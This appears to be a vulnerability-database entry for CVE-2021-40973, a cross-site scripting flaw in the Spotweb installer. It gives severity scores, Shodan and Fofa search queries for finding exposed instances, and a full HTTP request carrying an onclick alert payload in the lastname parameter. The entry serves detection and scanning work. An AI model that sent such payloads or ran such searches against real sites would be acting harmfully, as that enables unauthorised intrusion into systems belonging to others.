🔙 목록으로 돌아가기

CVE-2021-40973: Spotweb <= 1.5.1 - Cross Site Scripting

TitleSpotweb <= 1.5.1 - Cross Site Scripting
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationFixed in version 1.5.2
CVSS Score6.1
EPSS Score0.01286
CVE IDCVE-2021-40973
CWE IDCWE-79
Shodan Querytitle:"SpotWeb - overview"http.title:"spotweb - overview"
Fofa Querytitle="spotweb - overview"
Tags cve2021 cve xss spotweb spotweb_project vuln

🔍 Vulnerability Description

Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the lastname parameter.

🌐 HTTP Request

POST /install.php?page=4 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

settingsform[lastname]=pdteam'+onclick='alert(document.domain)

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40973.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-40973.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A